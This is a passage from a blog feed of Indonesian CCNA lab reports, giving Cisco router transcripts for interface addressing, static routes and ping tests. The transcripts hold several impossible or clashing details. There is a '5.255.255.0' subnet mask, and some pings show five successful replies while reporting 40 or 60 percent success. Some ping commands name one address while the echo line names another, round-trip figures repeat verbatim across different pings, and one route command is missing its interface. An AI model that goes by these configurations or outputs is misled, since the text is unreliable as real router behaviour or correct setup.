/&gt;[OK]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Router#ping 192.168.15.2&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.15.2, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 15/68/156 ms&lt;br /&gt;Setting Route3&gt;&lt;br /&gt;&lt;br /&gt;Router&gt;enable &lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#int fa0/0&lt;br /&gt;Router(config-if)#ip address 172.16.1.1 255.255.255.128&lt;br /&gt;Router(config-if)#no shutdown &lt;br /&gt;Router(config-if)#exit &lt;br /&gt;Router(config)#int s2/0&lt;br /&gt;Router(config-if)#ip address 10.10.1.2 255.255.255.0&lt;br /&gt;Router(config-if)#clock rate 64000&lt;br /&gt;Router(config-if)#no shutdown &lt;br /&gt;Router(config-if)#exit &lt;br /&gt;Router(config)#exit &lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;Destination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;Router#ping 172.16.1.2&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 172.16.1.2, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 18/28/32 ms&lt;br /&gt;&lt;br /&gt;Meroute router2&gt; ke router3&gt;&lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#ip route 172.16.1.0 255.255.255.128 s2/0&lt;br /&gt;Router(config)#exit&lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#ping 172.16.1.2&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 172.16.1.2, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 47/100/156 ms&lt;br /&gt;&lt;br /&gt;Router#&lt;br /&gt;Meroute router3&gt; ke router2&gt;&lt;br /&gt;&lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#ip route 192.168.15.0 255.255.255.0 s2/0&lt;br /&gt;Router(config)#exit&lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#ping 192.168.15.2&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.15.2, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 62/87/125 ms&lt;br /&gt;&lt;br /&gt; Setting router 0&gt; s3/0&lt;br /&gt;&lt;br /&gt;Router&gt;enable &lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#int s2/0&lt;br /&gt;Router(config)#int s3/0&lt;br /&gt;Router(config-if)#ip address 10.10.2.1 255.255.255.0&lt;br /&gt;Router(config-if)#exit&lt;br /&gt;Router(config)#exit &lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;Destination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;Router#&lt;br /&gt; Setting router 2&gt;s3/0&lt;br /&gt;Router&gt;enable &lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#int s3/0&lt;br /&gt;Router(config-if)#ip address 10.10.2.2 5.255.255.0&lt;br /&gt;Router(config-if)#exit&lt;br /&gt;Router(config)#exit &lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;Destination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;Router#&lt;br /&gt;&lt;br /&gt;Meroute router 0&gt; ke router 2&gt;&lt;br /&gt;&lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#ip route 192.168.15.0 255.255.255.0 s3/0&lt;br /&gt;Router(config)#exit&lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#ping 192.168.15.2&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.15.2, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 62/87/125 ms&lt;br /&gt;&lt;br /&gt;Meroute router 0&gt; ke router 2&gt;&lt;br /&gt;&lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#ip route 192.168.11.0 255.255.255.0 s3/0&lt;br /&gt;Router(config)#exit&lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#ping 192.168.11.1&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.11.1 timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 62/87/125 ms&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Setting router 1&gt; s3/0&lt;br /&gt;&lt;br /&gt;Router&gt;enable &lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#int s3/0&lt;br /&gt;Router(config-if)#ip address 10.10.3.2 255.255.255.0&lt;br /&gt;Router(config-if)#exit&lt;br /&gt;Router(config)#exit &lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;Destination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;Router#&lt;br /&gt;&lt;br /&gt;Setting router 3&gt; s3/0&lt;br /&gt;&lt;br /&gt;Router&gt;enable &lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#int s3/0&lt;br /&gt;Router(config-if)#ip address 10.10.3.1 255.255.255.0&lt;br /&gt;Router(config-if)#exit&lt;br /&gt;Router(config)#exit &lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;Destination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;Router#&lt;br /&gt;&lt;br /&gt;Meroute router 1&gt;ke router 3&gt;&lt;br /&gt;&lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#ip route 172.16.1.0 255.255.255.128 s3/0&lt;br /&gt;Router(config)#exit&lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#ping 172.16.1.2&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 172.16.0.2 timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 62/87/125 ms&lt;br /&gt;&lt;br /&gt;Meroute router 3&gt; ke router 1&gt;&lt;br /&gt;&lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#ip route 172.16.0.0 255.255.255.128 s3/0&lt;br /&gt;Router(config)#exit&lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#ping 172.16.0.1&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 172.16.0.1 timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 62/87/125 ms&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Meroute router 2&gt; ke router 1&gt;&lt;br /&gt;&lt;br /&gt;Router&gt;enable &lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#ip route 10.10.10.0 255.255.255.0 s3/0&lt;br /&gt;Router(config)#exit &lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;estination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;Router#ping 10.10.10.1&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 10.10.10.1, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 31/60/141 ms&lt;br /&gt;&lt;br /&gt;Router#ping 10.10.10.2&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 10.10.10.2, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 78/103/141 &lt;br /&gt;&lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#ip route 172.16.0.0 255.255.255.128 s3/0&lt;br /&gt;Router(config)#exit&lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;Destination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;Router#ping 172.16.0.14&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 172.16.0.14, timeout is 2 seconds:&lt;br /&gt;.!.!.&lt;br /&gt;Success rate is 40 percent (2/5), round-trip min/avg/max = 79/86/94 ms&lt;br /&gt;&lt;br /&gt;Router#ping 172.16.0.14&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 172.16.0.14, timeout is 2 seconds:&lt;br /&gt;!.!.!&lt;br /&gt;Success rate is 60 percent (3/5), round-trip min/avg/max = 62/67/78 ms&lt;br /&gt;&lt;br /&gt;Router#ping 172.16.0.1&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 172.16.0.1, timeout is 2 seconds:&lt;br /&gt;.!.!.&lt;br /&gt;Success rate is 40 percent (2/5), round-trip min/avg/max = 110/125/141 ms&lt;br /&gt;&lt;br /&gt;Router#ping 172.16.0.2&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 172.16.0.2, timeout is 2 seconds:&lt;br /&gt;..!.!&lt;br /&gt;Success rate is 40 percent (2/5), round-trip min/avg/max = 78/102/126 ms&lt;br /&gt;&lt;br /&gt;Router#&lt;br /&gt;Meroute router 2&gt; ke router 1&gt;&lt;br /&gt;&lt;br /&gt;Router&gt;enable &lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#ip route 10.10.2.0 255.255.255.0&lt;br /&gt;Router(config)#exit &lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;estination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;Router#ping 10.10.2.1&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 10.10.2.1, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 31/60/141 ms&lt;br /&gt;&lt;br /&gt;Router#ping 10.10.2.2&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 10.10.2.2, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 78/103/141 &lt;br /&gt;&lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#ip route 192.168.15.0 255.255.255.0 s2/0&lt;br /&gt;Router(config)#exit&lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;Destination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;Router#ping 192.168.15.2&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.15.2, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 40 percent (2/5), round-trip min/avg/max = 79/86/94 ms&lt;br /&gt;&lt;br /&gt;Router#&lt;br /&gt;&lt;br /&gt;Meroute router 3&gt; ke router 0&gt;&lt;br /&gt;&lt;br /&gt;Router&gt;enable &lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#ip route 10.10.10.0 255.255.255.0 s3/0&lt;br /&gt;Router(config)#exit &lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;estination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;Router#ping 10.10.10.1&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 10.10.10.1, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 31/60/141 ms&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Router#ping 10.10.10.2&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 10.10.10.1, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 78/103/141 &lt;br /&gt;&lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#ip route 192.168.11.0 255.255.255.0 s3/0&lt;br /&gt;Router(config)#exit&lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;Destination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;Router#ping 192.168.11.11&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.11.11, timeout is 2 seconds:&lt;br /&gt;.!.!.&lt;br /&gt;Success rate is 40 percent (2/5), round-trip min/avg/max = 79/86/94 ms&lt;br /&gt;&lt;br /&gt;Router#ping 192.168.11.1&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.11.1, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 60 percent (3/5), round-trip min/avg/max = 62/67/78 ms&lt;br /&gt;&lt;br /&gt;Router#ping 192.168.11.2&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.11.2, timeout is 2 seconds:&lt;br /&gt;.!.!.&lt;br /&gt;Success rate is 40 percent (2/5), round-trip min/avg/max = 110/125/141 ms&lt;br /&gt;&lt;br /&gt;Router#&lt;br /&gt;&lt;br /&gt;Meroute router 0&gt; ke router 3&gt;&lt;br /&gt;&lt;br /&gt;Router&gt;enable &lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#ip route 10.10.3.0 255.255.255.0 s2/0&lt;br /&gt;Router(config)#exit &lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;estination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;Router#ping 10.10.3.1&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 10.10.3.1, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 31/60/141 ms&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Router#ping 10.10.3.2&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 10.10.3.1, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 78/103/141 &lt;br /&gt;&lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#ip route 172.16.1.0 255.255.255.128 s2/0&lt;br /&gt;Router(config)#exit&lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;Destination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;Router#ping 172.16.1.1&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 172.16.1.1, timeout is 2 seconds:&lt;br /&gt;.!.!.&lt;br /&gt;Success rate is 40 percent (2/5), round-trip min/avg/max = 79/86/94 ms&lt;br /&gt;&lt;br /&gt;Router#ping 172.16.1.2&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 172.16.1.2, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 60 percent (3/5), round-trip min/avg/max = 62/67/78 ms&lt;br /&gt;&lt;br /&gt;Ping PC 0 ke PC 4&lt;br /&gt; &lt;br /&gt;Ping PC 5 ke PC 0&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ping PC 3 ke PC 4&lt;br /&gt; &lt;br /&gt;Ping PC 1 ke PC 3&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-839039494618117557?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/839039494618117557'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/839039494618117557'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/05/laporan-konfigurasi-ccna.html' title='Laporan Konfigurasi CCNA'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_uk6ho0aKuDg/S_G6g_xSsSI/AAAAAAAAAOs/IYdsB_2rM_M/s72-c/ccna3.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-7995164088879873036</id><published>2010-05-17T14:20:00.000-07:00</published><updated>2010-05-17T14:32:54.932-07:00</updated><title type='text'>LATIHAN Praktikum CCNA 2 bagian 2</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_uk6ho0aKuDg/S_G10iqsvVI/AAAAAAAAAOk/ckQS4jX0fjI/s1600/ccna2.JPG"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 169px;" src="http://2.bp.blogspot.com/_uk6ho0aKuDg/S_G10iqsvVI/AAAAAAAAAOk/ckQS4jX0fjI/s400/ccna2.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5472354936495586642" /&gt;&lt;/a&gt;&lt;br /&gt;KONFIGURASI ROUTER 1&lt;br /&gt;---------------------&lt;br /&gt;Router&gt;ENABLE&lt;br /&gt;Router#CONFIG TERMINAL&lt;br /&gt;Router(config)#INT FA0/0&lt;br /&gt;Router(config-if)#IP ADD 192.168.14.1 255.255.255.0&lt;br /&gt;Router(config-if)#NO SHUTDOWN&lt;br /&gt;Router(config-if)#EXIT&lt;br /&gt;Router(config)#INT S2/0&lt;br /&gt;Router(config-if)#IP ADD 192.168.15.1 255.255.255.0&lt;br /&gt;Router(config-if)#CLOCK RATE 64000&lt;br /&gt;Router(config-if)#NO SHUTDOWN&lt;br /&gt;Router(config-if)#EXIT&lt;br /&gt;Router(config)#EXIT&lt;br /&gt;Router#COPY RUNNING-CONFIG STARTUP-CONFIG&lt;br /&gt;Router#&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;KONFIGURASI ROUTER 2&lt;br /&gt;---------------------&lt;br /&gt;Router&gt;ENABLE&lt;br /&gt;Router#CONFIG TERMINAL&lt;br /&gt;Router(config)#INT FA0/0&lt;br /&gt;Router(config-if)#IP ADD 192.168.16.1 255.255.255.0&lt;br /&gt;Router(config-if)#NO SHUTDOWN&lt;br /&gt;Router(config-if)#EXIT&lt;br /&gt;Router(config)#INT S2/0&lt;br /&gt;Router(config-if)#IP ADD 192.168.15.2 255.255.255.0&lt;br /&gt;Router(config-if)#NO SHUTDOWN&lt;br /&gt;Router(config-if)#EXIT&lt;br /&gt;Router(config)#EXIT&lt;br /&gt;&lt;br /&gt;Router#COPY RUNNING-CONFIG STARTUP-CONFIG&lt;br /&gt;Router#&lt;br /&gt;&lt;br /&gt;KONFIGURASI STATIC ROUTING PADA ROUTER 1&lt;br /&gt;------------------------------------------&lt;br /&gt;Router#CONF T&lt;br /&gt;Router(config)#IP ROUTE 192.168.16.0 255.255.255.0 S2/0&lt;br /&gt;Router(config)#EXIT&lt;br /&gt;Router#SHOW IP ROUTE&lt;br /&gt;Codes: C - connected, S - static, I - IGRP, R - RIP, M - mobile, B - BGP&lt;br /&gt;       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area&lt;br /&gt;       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2&lt;br /&gt;       E1 - OSPF external type 1, E2 - OSPF external type 2, E - EGP&lt;br /&gt;       i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, ia - IS-IS inter area&lt;br /&gt;       * - candidate default, U - per-user static route, o - ODR&lt;br /&gt;       P - periodic downloaded static route&lt;br /&gt;&lt;br /&gt;Gateway of last resort is not set&lt;br /&gt;&lt;br /&gt;C    192.168.14.0/24 is directly connected, FastEthernet0/0&lt;br /&gt;C    192.168.15.0/24 is directly connected, Serial2/0&lt;br /&gt;S    192.168.16.0/24 is directly connected, Serial2/0&lt;br /&gt;Router#COPY RUN START&lt;br /&gt;----&lt;br /&gt;KONFIGURASI STATIC ROUTING PADA ROUTER 2&lt;br /&gt;------------------------------------------&lt;br /&gt;Router#CONF T&lt;br /&gt;Router(config)#IP ROUTE 192.168.14.0 255.255.255.0 S2/0&lt;br /&gt;Router(config)#EXIT&lt;br /&gt;Router#SHOW IP ROUTE&lt;br /&gt;Codes: C - connected, S - static, I - IGRP, R - RIP, M - mobile, B - BGP&lt;br /&gt;       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area&lt;br /&gt;       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2&lt;br /&gt;       E1 - OSPF external type 1, E2 - OSPF external type 2, E - EGP&lt;br /&gt;       i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, ia - IS-IS inter area&lt;br /&gt;       * - candidate default, U - per-user static route, o - ODR&lt;br /&gt;       P - periodic downloaded static route&lt;br /&gt;&lt;br /&gt;Gateway of last resort is not set&lt;br /&gt;&lt;br /&gt;S    192.168.14.0/24 is directly connected, Serial2/0&lt;br /&gt;C    192.168.15.0/24 is directly connected, Serial2/0&lt;br /&gt;C    192.168.16.0/24 is directly connected, FastEthernet0/0&lt;br /&gt;Router#&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-7995164088879873036?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/7995164088879873036'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/7995164088879873036'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/05/latihan-praktikum-ccna-2-bagian-2.html' title='LATIHAN Praktikum CCNA 2 bagian 2'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_uk6ho0aKuDg/S_G10iqsvVI/AAAAAAAAAOk/ckQS4jX0fjI/s72-c/ccna2.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-6968464001278798646</id><published>2010-05-17T14:17:00.000-07:00</published><updated>2010-05-17T14:20:42.170-07:00</updated><title type='text'>LATIHAN Praktikum CCNA 2</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_uk6ho0aKuDg/S_GzAOpgwzI/AAAAAAAAAOc/1gOv8bycxNU/s1600/ccna1.JPG"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 270px;" src="http://4.bp.blogspot.com/_uk6ho0aKuDg/S_GzAOpgwzI/AAAAAAAAAOc/1gOv8bycxNU/s400/ccna1.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5472351838745445170" /&gt;&lt;/a&gt;&lt;br /&gt;Konfigurasikan ip client seperti gambar di atas&lt;br /&gt;Konfigurasikan IP address pada router0 :&lt;br /&gt;1. Masuk ke dalam mode privileged &lt;br /&gt;Router&gt;enable&lt;br /&gt;Router#&lt;br /&gt;2. Mengkonfigurasi ip address pada fastethernet 0/0&lt;br /&gt;Router#config t&lt;br /&gt;Enter configuration commands, one per line.  End with cntl/z.&lt;br /&gt;Router(config)#int fa0/0&lt;br /&gt;Router(config-if)#ip address 172.16.0.126 255.255.255.128&lt;br /&gt;Router(config-if)#no shutdown&lt;br /&gt;&lt;br /&gt;%link-5-changed: interface fastethernet0/0, changed state to up&lt;br /&gt;%lineproto-5-updown: line protocol on interface fastethernet0/0, changed state to up&lt;br /&gt;Router(config-if)#exit&lt;br /&gt;Router(config)#&lt;br /&gt;3. Mengkonfigurasi ip address pada fastethernet 1/0&lt;br /&gt;Router(config)#int fa1/0&lt;br /&gt;Router(config-if)#ip address 192.168.11.62 255.255.255.192&lt;br /&gt;Router(config-if)#no shutdown&lt;br /&gt;&lt;br /&gt;%link-5-changed: interface fastethernet1/0, changed state to up&lt;br /&gt;%lineproto-5-updown: line protocol on interface fastethernet1/0, changed state to up&lt;br /&gt;Router(config-if)#exit&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;4. Menyimpan hasil konfigurasi ip address&lt;br /&gt;Router(config)#exit&lt;br /&gt;%sys-5-config_i: configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;Destination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[ok]&lt;br /&gt;Router#&lt;br /&gt;5. Menyeting ip route cisco&lt;br /&gt;Router#configure terminal&lt;br /&gt;Enter configuration commands, one per line.  End with cntl/z.&lt;br /&gt;Router(config)#ip route 172.16.0.0 255.255.255.128 fa1/0&lt;br /&gt;Router(config)#ip route 192.168.11.0 255.255.255.192 fa0/0&lt;br /&gt;Router(config)#exit&lt;br /&gt;%sys-5-config_i: configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;Destination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[ok]&lt;br /&gt;Router#&lt;br /&gt;6. Memeriksa koneksitas ke interface fastethernet1/0&lt;br /&gt;Router#ping 192.168.11.62&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte icmp echos to 192.168.11.62, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), 